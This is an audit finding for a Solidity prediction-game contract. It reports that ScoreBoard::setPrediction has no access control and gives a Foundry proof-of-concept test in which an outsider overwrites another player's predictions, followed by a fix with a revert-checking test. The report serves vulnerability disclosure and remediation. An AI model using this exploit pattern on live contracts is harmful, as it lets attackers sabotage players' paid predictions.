Summary
by directly calling ScoreBoard::setPrediction
anyone can set or change any player's prediction because lack of access control on the function.
Vulnerability Details
if we look at setPrediction
there are no access control regarding the public function meaning anyone can directly call this function.
function setPrediction(address player, uint256 matchNumber, Result result) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
abuse can be achieved by sabotaging others prediction:
POC
add the following code to ThePredicter.test.sol
:
function test_POCSabotageOtherPlayerPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
address player = makeAddr("player");
vm.startPrank(player);
vm.warp(1);
vm.deal(player, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(player);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.First);
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
vm.stopPrank();
assertEq(scoreBoard.getPlayerScore(player), 4);
}
then run the following command forge test --mt test_POCSabotageOtherPlayerPrediction
the test should FAIL because the player score is -2
instead of 4
:
Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: assertion failed: -2 != 4] test_POCSabotageOtherPlayerPrediction() (gas: 375708)
Impact
the exploit making the protocol unfair because anyone can change others prediction
Tools Used
foundry
Recommendations
add access control modifier onlyThePredicter
on the function so it can only be called by ThePredicter
contract:
- function setPrediction(address player, uint256 matchNumber, Result result) public {
+ function setPrediction(address player, uint256 matchNumber, Result result) public onlyThePredicter {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
to check if this change can stop the exploit, uncomment the line (vm.expectRevert) on the test above, or just changed the whole test to this one below:
ThePredicter.test.sol
:
function test_POCSabotageOtherPlayerPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
address player = makeAddr("player");
vm.startPrank(player);
vm.warp(1);
vm.deal(player, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(player);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.First);
vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
vm.stopPrank();
assertEq(scoreBoard.getPlayerScore(player), 4);
}
then run the following command forge test --mt test_POCSabotageOtherPlayerPrediction
the test should PASS:
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_POCSabotageOtherPlayerPrediction() (gas: 303646)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 979.39µs (300.42µs CPU time)